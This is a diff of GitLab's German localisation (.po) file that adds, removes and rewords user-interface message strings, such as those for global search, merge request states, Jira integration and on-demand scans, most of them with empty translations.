msgid "EnvironmentsDashboard|Remove"
msgstr "Entfernen"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Wie kann ich dieses Problem lösen?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Diese Daten beeinflussen, wie deine Epics in der Roadmap erscheinen. Die Daten der Meilensteine ​​stammen aus den Meilensteinen, die den Tickets im Epic zugewiesen wurden. Du kannst auch feste Termine festlegen oder sie vollständig entfernen."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr "Projekte entdecken"
msgid "Explore public groups"
msgstr "Erkunde öffentliche Gruppen"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr "Klassifizierungslabel"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Wenn kein Klassifizierungslabel gesetzt ist, wird das Standardlabel `%{default_label}` benutzt."
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Fester Termin"
-
-msgid "Fixed due date"
-msgstr "Fixes Fälligkeitsdatum"
-
-msgid "Fixed start date"
-msgstr "Fixer Starttermin"
-
msgid "Fixed:"
msgstr "Behoben:"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "Tracking-Eintrag für ein vorhandenes Projekt konnte nicht entfernt werden."
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "Tracking-Eintrag für Projekt (%{project_id}) wurde erfolgreich entfernt."
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr "Tracking-Eintrag für Upload (%{type}/%{id}) wurde erfolgreich entfernt."
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "Zurück"
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr "Kopfzeilennachricht"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr "Identitäten"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Intervallmuster"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr "Ticketereignisse"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "Issue Label"
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr "Tickets"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr "Tickets können Bugs, Tasks oder zu diskutierende Ideen sein. Tickets si
msgid "Issues closed"
msgstr "Geschlossene Tickets"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "Januar"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,15 +20945,15 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr "Lizenzdetails für dein Projekt anzeigen"
msgid "Limit display of time tracking units to hours."
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
-msgstr ""
-
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr ""
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr "Alle Benachrichtigungen verwalten"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Verwalte Anwendungen, die GitLab als OAuth-Anbieter verwenden können, und Anwendungen, die du zur Verwendung deines Kontos autorisiert hast."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Merge-Ereignisse"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Merge-Requests"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "Merge-Requests dienen dazu, deine Änderungsvorschläge für ein Projekt einzureichen und sie mit anderen zu diskutieren"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Neuer Merge-Request"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr "Neuer Registrierungstoken für Runner wurde generiert!"
msgid "New schedule"
msgstr "Neuer Zeitplan"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Neuer Codeausschnitt"
@@ -23231,6 +23589,9 @@ msgstr "Keine Dateien gefunden."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Keine Merge-Requests gefunden"
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Keine öffentlichen Gruppen"
@@ -23345,6 +23715,9 @@ msgstr "Keine Runner gefunden"
msgid "No schedules"
msgstr "Keine Zeitpläne"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr "Für geschützte Branches nicht verfügbar"
msgid "Not confidential"
msgstr "Nicht vertraulich"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] "Ein weiteres Element"
msgstr[1] "%d weitere Elemente"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Offen"
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr "Seite nicht gefunden"
